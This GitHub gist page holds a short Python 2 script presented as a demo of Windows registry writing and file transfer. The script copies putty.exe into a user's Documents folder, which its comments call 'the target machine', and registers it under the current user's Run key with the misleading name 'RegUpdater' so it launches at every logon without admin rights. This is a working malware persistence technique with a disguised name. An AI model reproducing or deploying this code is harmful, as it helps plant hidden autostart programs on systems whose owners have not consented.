Skip to content

Instantly share code, notes, and snippets.

@davidlares
Created February 1, 2020 22:04
Show Gist options
  • Save davidlares/3c85ea4e0d3ad75650625e05d34912e6 to your computer and use it in GitHub Desktop.
Save davidlares/3c85ea4e0d3ad75650625e05d34912e6 to your computer and use it in GitHub Desktop.
Writing Windows System Registries and file transferring with Python 2.x
#!/usr/bin/python
import os
import shutil
import _winreg as wreg
import subprocess
# getting the cwd
path = os.getcwd().strip('\n')
# grabbing the username using a subprocess command for building the destination path
null, user = subprocess.check_output('set USERPROFILE', shell=True).split('=') # C:\Users\Administrador
# building the destination path (full path)
destination = user.strip('\n\r') + '\\Documents\\' + 'putty.exe'
# check if file exists
if not os.path.exists(destination):
# copying the putty client to the target machine (destination path)
shutil.copyfile(path+'\putty.exe', destination)
# adding a Windows Registry key for the current user
key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, wreg.KEY_ALL_ACCESS)
# update the registry for execute the destination file without being administrator or (having admin privileges)
wreg.SetValueEx(key, 'RegUpdater', 0, wreg.REG_SZ, destination)
# close the write/update process
key.Close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment